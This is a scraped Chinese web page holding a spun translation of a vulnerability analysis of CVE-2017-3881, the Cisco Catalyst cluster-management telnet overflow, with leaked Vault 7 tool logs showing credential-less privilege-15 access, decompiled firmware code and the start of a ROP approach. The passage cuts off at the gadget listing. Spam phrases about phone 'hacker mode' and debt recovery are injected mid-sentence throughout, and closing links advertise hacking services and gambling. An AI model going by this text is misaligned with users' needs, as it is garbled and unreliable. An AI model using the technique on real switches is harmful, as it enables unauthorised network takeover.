手机进入黑客模式-红客大户追款怎么联系-CVE-2017-3881:思科 Catalyst 交换

访客4年前黑客文章596

红客大户追款怎么联系-CVE-2017-3881:思科交换机 Catalyst 交换机远程控制代码执行漏洞剖析

您的Catalyst交换机上是不是开启了telnet? 如果是得话,那就需要小心了。文中将向阅读者详细介绍对于配备了全新固定件的Catalyst 2960交换机的远程控制代码执行漏洞的定义认证进攻技术性。实际的漏洞利用编码能够从这儿免费下载。下列是对17年3月7日美国中情局泄漏的绝密文件中的一个安全性漏洞的利用开发流程的详细描述,除此之外,思科公司于17年3月4日也公布公布了该漏洞的具体情况。可是,截至编写文中时,手机上进到 *** 黑客方式依然沒有能用的补丁下载。即便如此,還是有一个防范措施的,那便是禁止使用telnet,并代之以应用SSH。


CIA泄露的Vault 7nbsp;

17年3月7日,联邦调查局的一系列文档被泄漏,并被发布到维基解密上。在其中,一份文档中涉及到了一个危害几款Cisco交换机的远程控制代码执行漏洞。这一漏洞在泄漏的文本文档中的编号为ROCEM。尽管提及的关键技术非常少,但依然造成了大家的留意。

Vault 7的文本文档曝露了具体的漏洞利用编码的检测全过程,可是沒有泄漏漏洞利用的源码。依据泄漏的內容看来,有二点分外导入瞩目:该专用工具能够以互动方式或设定方式起动。其手机上进到 *** 黑客方式中,互动方式根据telnet推送重力梯度,并可以在同一telnet联接的前后文中马上向 *** 攻击出示指令shell。下边的內容取自该文本文档:

nbsp;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

手机上进到 *** 黑客方式 Startednbsp;ROCEMnbsp;interactivenbsp;sessionnbsp;-nbsp;successful:nbsp;

rootdebian:/home/user1/ops/adverse/adverse-1r/rocemnbsp;./rocem_c3560-ipbase-mz.122-35.SE5.pynbsp;-inbsp;192.168.0.254

[ ]nbsp;Validatingnbsp;data/interactive.bin

手机上进到 *** 黑客方式[ ]nbsp;Validatingnbsp;data/set.bin

[ ]nbsp;Validatingnbsp;data/transfer.bin

[ ]nbsp;Validatingnbsp;data/unset.bin

Image:nbsp;c3手机上进到 *** 黑客方式560-ipbase-mz.122-35.SE5

Host:nbsp;192.168.0.254

Action:nbsp;Interactive

Proceednbsp;(y/n)y

Tryingnbsp;127.0.0.1...

手机上进到 *** 黑客方式[]nbsp;Attemptingnbsp;connectionnbsp;tonbsp;hostnbsp;192.168.0.254:23

Connectednbsp;tonbsp;127.0.0.1.

Escapenbsp;characternbsp;isnbsp;'^]'.

[ ]nbsp;Connectionnbsp;established

手机上进到 *** 黑客方式[]nbsp;Startingnbsp;interactivenbsp;session

Usernbsp;Accessnbsp;Verification

Password:

MLS-Sth

MLS-Sthnbsp;shownbsp;priv

手机上进到 *** 黑客方式 Currentnbsp;privilegenbsp;levelnbsp;isnbsp;15

MLS-Sthshownbsp;users

Linenbsp;Usernbsp;Host(s)nbsp;Idlenbsp;Location

nbsp;1nbsp;vtynbsp;0nbsp;idlenbsp;00:00:00nbsp;192.168.221.40

手机上进到 *** 黑客方式 Interfacenbsp;Usernbsp;Modenbsp;Idlenbsp;Peernbsp;Address

MLS-Sthexit

Connectionnbsp;closednbsp;bynbsp;foreignnbsp;host.

设定方式。改动交换机运行内存,便于未来能够在不用登陆密码的状况下创建telnet联接。下边的內容取自该文本文档:nbsp;

nbsp;

手机上进到 *** 黑客方式

1

2

3

4

5

6

7

8

9

10

11

12

手机上进到 *** 黑客方式 13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

Testnbsp;set/unsetnbsp;featurenbsp;ofnbsp;ROCEM

手机上进到 *** 黑客方式 DUTnbsp;configurednbsp;withnbsp;targetnbsp;configurationnbsp;andnbsp;networknbsp;setup

DUTnbsp;isnbsp;accessednbsp;bynbsp;hoppingnbsp;throughnbsp;threenbsp;fluxnbsp;nodesnbsp;asnbsp;pernbsp;thenbsp;CONOP

手机上进到 *** 黑客方式 Reloadednbsp;DUTnbsp;tonbsp;startnbsp;withnbsp;anbsp;cleannbsp;device

Fromnbsp;Adversenbsp;ICONnbsp;machine,nbsp;setnbsp;ROCEM:

rootdebian:/home/user1/ops/adverse/adverse-1r/rocemnbsp;./rocem_c3560-ipbase-mz.122-35.SE5.pynbsp;-snbsp;192.168.0.254

手机上进到 *** 黑客方式[ ]nbsp;Validatingnbsp;data/interactive.bin

[ ]nbsp;Validatingnbsp;data/set.bin

[ ]nbsp;Validatingnbsp;data/transfer.bin

[ ]nbsp;Validatingnbsp;data/unset.bin

手机上进到 *** 黑客方式

Image:nbsp;c3560-ipbase-mz.122-35.S E5

Host:nbsp;192.168.0.254

Action:nbsp;Set

手机进入黑客模式

Proceednbsp;(y/n)y

[]nbsp;Attemptingnbsp;connectionnbsp;tonbsp;hostnbsp;192.168.0.254:23

[+]nbsp;Connectionnbsp;established

[]nbsp;Sendingnbsp;Protocolnbsp;Stepnbsp;1

手机进入黑客模式 []nbsp;Sendingnbsp;Protocolnbsp;Stepnbsp;2

[+]nbsp;Done

rootdebian:/home/user1/ops/adverse/adverse-1r/rocem

Verifiednbsp;Inbsp;couldnbsp;telnetnbsp;andnbsp;手机进入黑客模式rxnbsp;privnbsp;15nbsp;withoutnbsp;creds:

rootdebian:/home/user1/ops/adverse/adverse-1r/rocemnbsp;telnetnbsp;192.168.0.254

Tryingnbsp;192.168.0.254...

Connectednbsp;tonbsp;192.168.0.254.

手机进入黑客模式

Escapenbsp;characternbsp;isnbsp;'^]'.

MLS-Sth

MLS-Sthshownbsp;priv

Currentnbsp;privilegenbsp;levelnbsp;isnbsp;15

MLS-Sth

在研究此漏洞时,我们发现了一段非常有用的信息,即手机进入黑客模式telnet的调试输出。下面是引自该文档的内容:nbsp;

nbsp;

1

2

3

4

5

6

7

8

9

10手机进入黑客模式

11

12

13

14

15

16

17

18

19

20

手机进入黑客模式 14.nbsp;Confirmnbsp;etronnbsp;EARnbsp;5355nbsp;-nbsp;Debugnbsp;telnetnbsp;causesnbsp;anomalousnbsp;outputnbsp;

nbsp;nbsp;1.Enablednbsp;debugnbsp;telnetnbsp;onnbsp;DUT

nbsp;nbsp;2.Setnbsp;ROCEM

手机进入黑客模式 nbsp;nbsp;3.Observednbsp;thenbsp;following:

nbsp;nbsp;nbsp;nbsp;000467:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;TTY-SPEEDnbsp;(32)nbsp;(refused)

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000468:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;TTY-SPEEDnbsp;(32)

nbsp;nbsp;nbsp;nbsp;000469:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;LOCAL-FLOWnbsp;(33)nbsp;(refused)

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000470:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;LOCAL-FLOWnbsp;(33)

nbsp;nbsp;nbsp;nbsp;000471:nbsp;Junnbsp;3nbsp;13:54手机进入黑客模式:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;LINEMODEnbsp;(34)

nbsp;nbsp;nbsp;nbsp;000472:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;LINEMODEnbsp;(34)nbsp;(unimplemented)

nbsp;nbsp;nbsp;nbsp;000473:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;NEW-ENVIRONnbsp;(39)

nbsp;nbsp;nbsp;nbsp;000474:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;NEW-ENVIRONnbsp;(39)nbsp;(unimplemented)

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000475:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;DOnbsp;STATUSnbsp;(5)

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000476:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;WONTnbsp;STATUSnbsp;(5)nbsp;(unimplemented)

nbsp;nbsp;nbsp;nbsp;000477:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;-DISPLAYnbsp;(35)nbsp;(refused)

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000478:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;-DISPLAYnbsp;(35)

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000479:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;DOnbsp;ECHOnbsp;(1)

nbsp;nbsp;nbsp;nbsp;000480:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;Telnet2:nbsp;recvnbsp;SBnbsp;NAWSnbsp;116nbsp;29

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000481:nbsp;Junnbsp;3nbsp;13:54:09.623:nbsp;Telnet2:nbsp;recvnbsp;SBnbsp;36nbsp;92nbsp;OS^K'zAuk,Fz90

nbsp;nbsp;nbsp;nbsp;000482:nbsp;Junnbsp;3nbsp;13:54:09.623:nbsp;Telnet2:nbsp;recvnbsp;SBnbsp;36nbsp;0nbsp;^CCISCO_KITS^Ap

请注意该服务在最后一行接收到的CISCO_KITS选项,这是一个非常重要的字符串。


思科的漏洞报告

思科公司于2017年3月17日公布了其交换机中存在的这个漏洞。这份报告是基于Vault 7中的文档:

Cisco IOS和Cisco IOS E软件中的思科集群管理协议(CMP)处理代码中的漏洞可能允许未经身份验证的远程攻击者重新加载受影响的设备,或者远程执行具有更高权限的代码。

在撰写本文时,除了下段文字之外,仍然没有更多的细节手机进入黑客模式可用:

集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。这个漏洞是由于两个因素共同导致的:

没有将与CMP有关的Telnet选项限制在集群成员之间的内部本地通信中,而是接受和处理通过任何与受影响设备的Telnet连接发送的此类选项,与此同时,也没有正确处理畸形的与CMP有关的Telnet选项。

长话短说,该漏洞允许攻击者利用telnet服务在目标交换机上远程执行代码。但为了应用这个报告,我需要更多的信息。所以我决定深入研究一下思科集群管理协议。

手机进入黑客模式


交换机群集

好吧!我搞了两个Catalyst 手机进入黑客模式 2960交换机来研究这个漏洞。集群技术会将交换机设置为主从关系。主交换机能够在从交换机上获得特权命令shell。正如Cisco在其报告中所提到的那样,telnet被用作集群成员之间的命令协议。有关群集的信息可以在这里找到,这里是一个设置群集环境的例子。

现在,我们来考察一下集群成员之间的通信。以下是主交换机的配置:nbsp;

nbsp;

1

2

手机进入黑客模式 clusternbsp;enablenbsp;CLGRPnbsp;0

clusternbsp;membernbsp;1nbsp;mac-addressnbsp;xxxxxxxxxx

这会把附近的交换机添加为集群的从交换机。rcommand lt;numgt;允许从主交换机的接口上获得从设备的命令接口。这符合设计预期。

nbsp;

1

手机进入黑客模式 2

3

4

5

catalyst1gt;rcommandnbsp;1

catalyst2gt;who

nbsp;nbsp;nbsp;nbsp;Linenbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Usernbsp;nbsp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;Host(s)nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Idlenbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Location

手机进入黑客模式 nbsp;nbsp;1nbsp;vtynbsp;0nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;idlenbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;00:00:00nbsp;10.10.10.10

nbsp;nbsp;Interfacenbsp;nbsp;nbsp;nbsp;amp;手机进入黑客模式nbsp;nbsp;Usernbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Modenbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Idlenbsp;nbsp;nbsp;nbsp;nbsp;Peernbsp;Address

我们手机进入黑客模式来看看rcommand生成的流量:

嘿! telnet流量能干啥? 报告明确指出:

集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。

不错,实际上运行show version可以看到更多的流量:nbsp;

nbsp;

1

2

catalyst2gt;shownbsp;version

手机进入黑客模式 Cisconbsp;IOSnbsp;Software,nbsp;C2960nbsp;Softwarenbsp;(C2960-LANBASEK9-M),nbsp;Versionnbsp;12.2(55)SE1,nbsp;RELEASEnbsp;SOFTWAREnbsp;(fc1)

阿哈!Telnet流量实际上被封装在第2层的LLC数据包中。如果仔细观察的话,在源和目的地字段中就会注意到带有MAC地址的IP数据包。在这些“IP”数据手机进入黑客模式包之内,含有telnet会话的有效TCP帧。

telnet会话通常出现在telnet选项磋商之前,其中包括:终端大小、终端类型等信息。要想了解更多信息,请参考RFC。

在提交catalyst2gt;消息之前,会向服务器端一个telnet选项:nbsp;

在这里,您可以看到从主交换机发送到从交换机的telnet选项“CISCO_KITS”。在执行漏洞利用代码期间出现的这个字符串,同样出现在Vault 7文档中,并且一模一样。接下来,我们手机进入黑客模式将深入考察交换机的内部原理。


搞定固件

手机进入黑客模式

固件位于交换机的flash:lt;versiongt;.bin中。

nbsp;

1

2

3

4

catalyst2dirnbsp;flash:

Directorynbsp;ofnbsp;flash:/

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;2nbsp;nbsp;-rwxnbsp;nbsp;nbsp;nbsp;nbsp;9771282nbsp;nbsp;nbsp;Marnbsp;1nbsp;1993nbsp;00:13:28nbsp;+00:00nbsp;nbsp;c2960-lanbasek9-mz.122-55.SE1.bin

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;3nbsp;nbsp;-rwxnbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;2487nbsp;nbsp;nbsp;Marnbsp;1nbsp;1993nbsp;00:01:53nbsp;+00:00nbsp;nbsp;config.text

内置的ftp客户端允许将此固件传输至任意ftp服务器。好,现在我们就借助binwalk来分析和提取该文件的内容:nbsp;

nbsp;

1

手机进入黑客模式 2

3

4

nbsp;binwalknbsp;-enbsp;c2960-lanbasek9-mz.122-55.SE1.binnbsp;

DECIMALnbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;HEADECIMALnbsp;nbsp;nbsp;nbsp;nbsp;DESCRIPTION

--------------------------------------------------------------------------------

手机进入黑客模式 112nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;70nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;bzip2nbsp;compressednbsp;data,nbsp;blocknbsp;sizenbsp;nbsp;900k

为了便于对获取的二进制数进行静态分析,我们更好找到固件加载的偏移量。实际上,在引导过程中,该偏移量将打印输出到串行控制台中:nbsp;

nbsp;

1

2

3

4

Loadingnbsp;"flash:c2960-lanbasek9-mz.122-55.SE1.bin"...

Filenbsp;"flash:c2960-lanbasek9-mz.122-55.SE1.bin"nbsp;uncompressednbsp;andnbsp;installed,

手机进入黑客模式 entrynbsp;point:nbsp;3000

executing...

这时候,IDA就该上场了。这里的CPU架构是PowerPC 32位BigEndian。下面,我们将这个二进制文件加载到3000处:nbsp;


寻找字符串

还记得前面在群集通信中捕获的字符串CISCO_KITS吗?我们将从这里下手。在通过IDA观察大部分函数后,可以发现针对固件末尾处那些字符串的交叉引用。

“CISCO_KITS”字符串将被return_cisco_kits函数所引用,实际上该函数只是将该字符串作为char 手机进入黑客模式 返回。我们将重点关注调用return_cisco_kits的call_cisco_kits函数,该函数位于0004ED8C。

因为telnet代码对于客户端和服务器而言是对称的,所以我们实际上可以看到发送到服务器端的缓冲区的格式为- %c%s%c%d:%s:%d :。这实际上与发送缓冲区中观察到的流量是一致的:nbsp;

nbsp;

1

手机进入黑客模式 2

3

4

5

6

7

8

9

10

11

12

13

手机进入黑客模式 14

15

16

17

18

19

20

21

22

23

24

25

手机进入黑客模式 26

27

28

29

ifnbsp;(nbsp;telnet_struct-gt;is_client_modenbsp;)nbsp;//nbsp;clientnbsp;modenbsp;thennbsp;sendnbsp;"CISCO_KITS"nbsp;string

手机进入黑客模式 {

nbsp;nbsp;nbsp;nbsp;ifnbsp;(nbsp;telnet_struct-gt;is_client_modenbsp;nbsp;1nbsp;)

nbsp;nbsp;nbsp;nbsp;{

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;cisco_kits_string_2nbsp;nbsp;(charnbsp;)return_cisco_kits();

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;int_twonbsp;nbsp;return_2();

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;tty_strnbsp;nbsp;get_from_tty_struct((telnet_structnbsp;)telnet_struct_arg-gt;tty_手机进入黑客模式struct);

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;(_DWORDnbsp;)amp;telnet_struct_arg-gt;tty_struct[1].field_6D1;

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;format1_retnbsp;nbsp;format_1(

nbsp;nbsp;nbsp;amp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;128,

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;(int)amp;str_buf[8],

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;"cscd:s:d:",

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;3,

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;cisco_kits_string_2,

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;1,

amp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;int_two,

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;tty_str,

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;amp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;0);

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;telnet_structnbsp;nbsp;(telnet_structnbsp;)telnet_send_ *** (

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;(int)telnet_struct_arg,

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;36,

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;amp;手机进入黑客模式nbsp;0,

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;amp;str_buf[8],

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;format1_ret,

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;v8,

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;v7,

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;v6);

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;}

}

大家有没有发现,这里有两个%s字符串修饰符,但是在流量样本中实际上只有一个字符串即CISCO_KITS,这是因为第二个字符串是空的,并且位于两个:字符之间。进一步观察函数的控制流程,我注意到处理第二个手机进入黑客模式字符串时(这次是服务器端代码)有一些有趣的行为:nbsp;

nbsp;

1

2

3

4

5

fornbsp;(nbsp;jnbsp;nbsp;(unsignednbsp;__int8)string_buffer;nbsp;jnbsp;!amp;手机进入黑客模式nbsp;':';nbsp;jnbsp;nbsp;(unsignednbsp;__int8)string_buffernbsp;)//nbsp;putnbsp;datanbsp;beforenbsp;secondnbsp;":"nbsp;atnbsp;amp;str_bufnbsp;+nbsp;152

{

nbsp;nbsp;nbsp;nbsp;str_buf[v19++nbsp;+nbsp;152]nbsp;nbsp;j;

手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;++string_buffer;

}

我们发送取自第二个%s字符串中的数据的时候,实际上会一直复制到:字符,并且没有检查位于堆栈上的目标缓冲区的目标边界。这会出现什么情况? 没错, 缓冲区溢出!nbsp;


让代码运行起来

实际上,要想控制指令指针是很容易的,因为可以用发送的缓冲区来覆盖它。但问题是:堆和(位于堆上的)栈是不可执行的。我的手机进入黑客模式更佳选择是,启用数据和指令缓存。以下内容引自Felix Lindner在BlackHat 2009上的演示文稿:nbsp;

该ROP上场了

由于没有办法在堆栈上执行代码,所以我不得不将其用作数据缓冲区并重用固件中的现有代码。这种做法的思想是,通过某种方式链接函数的Epilog来完成任意的内存写操作。但等一下,写什么呢? 我们先来看看反编译的00F47A34处的函数:nbsp;

nbsp;

1

手机进入黑客模式 2

3

4

5

6

7

8

9

10

11

12

13

手机进入黑客模式 14

ifnbsp;(nbsp;ptr_is_cluster_mode(tty_struct_var-gt;telnet_struct_field)nbsp;)

{

nbsp;nbsp;telnet_struct_varnbsp;nbsp;tty_struct_var-gt;telnet_struct_field;

nbsp;手机进入黑客模式nbsp;ptr_get_privilege_levelnbsp;nbsp;(intnbsp;(__fastcallnbsp;)(int))some_libc_func(0,nbsp;(unsignednbsp;intnbsp;)amp;dword_22659D4[101483]);

nbsp;nbsp;privilege_levelnbsp;nbsp;ptr_get_privilege_level(telnet_struct_var);//手机进入黑客模式nbsp;equalsnbsp;tonbsp;1nbsp;duringnbsp;rcommandnbsp;1

nbsp;nbsp;telnet_struct_1nbsp;nbsp;tty_struct_var-gt;telnet_struct_field;

nbsp;nbsp;ptr_telnet_related2nbsp;nbsp;(voidnbsp;(__fastcallnbsp;)(int))手机进入黑客模式some_libc_func(1u,nbsp;(unsignednbsp;intnbsp;)amp;dword_22659D4[101487]);

nbsp;nbsp;ptr_telnet_related2(telnet_struct_1);

手机进入黑客模式 nbsp;nbsp;(_DWORDnbsp;)amp;tty_struct_var-gt;privilege_level_fieldnbsp;nbsp;((privilege_levelnbsp;lt;lt;nbsp;28)nbsp;amp;nbsp;F0000000nbsp;|nbsp;(_DWORDnbsp;)amp;tty_struct_var-gt;privilege_level_fieldnbsp;amp;nbsp;FFFFFFF)nbsp;amp;nbsp;FF7FFFFF;

}

else

手机进入黑客模式 {

nbsp;nbsp;//genericnbsp;telnetnbsp;session

}

这里发生了一些有趣的事情。首先要强调的是,ptr_is_cluster_mode和ptr_get_privilege_level都是通过引用全局变量间接进行调用的。检查地址为00F47B60的代码行,我们发现is_cluster_mode函数的地址是从01F24A7处的dword中加载的。类似的,get_privilege_level函数的地址则是从3F47B8C处的r3寄存器中加载的。此时,r3的内容则是“残留”在地址022659D4 手机进入黑客模式 + 28 + C处的一个已经解除引用的指针。

如果ptr_is_cluster_mode调用返回非零值,并且ptr_get_privilege调用返回-1之外的值,那么我们将收到一个telnet shell,并且不需要提供任何登陆凭证。下面的代码用来检查变量privilege_level的值:nbsp;

如何才手机进入黑客模式能覆盖这些函数指针,让它总是返回所需的正值的呢? 由于堆和栈无法直接执行,所以我不得不重用现有的代码来执行此类的内存写操作。为此,可以使用以下ROP零件:nbsp;

nbsp;

1

2

3

4

5

6

7

相关文章

巡护员工作时为什么喜欢穿长袜子?蚂蚁庄园2020年7月31日答案

巡护员工作时为什么喜欢穿长袜子?蚂蚁庄园2020年7月31日答案

每天的蚂蚁庄园里,我们可以回答庄园小课堂的问题,答对获得180g饲料,答错获得30g饲料。7月31日每日问题是今天是“世界巡护员日”,巡护员工作时为什么喜欢穿长袜子?于这个问题的答案很多玩家都不太知道...

人均存款已经出现了,你觉得你的人均达到了吗

伴随着我国经济的持续发展趋势,普通百姓的生活水平也是获得了非常大的提升 ,工资水平也是一直在提高。依据中国统计局公布的数据信息表明,1980年乡村人民公社每个人均值从集体经济组织基础辅助单位分到的收益...

王叶黑客,什么黑客软件最好用,赌博每天赢500赢了5年了

因为咱们这次的方针是迂回浸透,对该公司的材料不感兴趣。 假如要是需求许多文件(5g以上)就需求文件回传。 (例如科技公司的研制文件服务器)。 镜像是近期比较火爆的一种绑架办法,绑架者运用优质的域名和优...

闲来象棋:天天下象棋免费赚钱,1元提现!

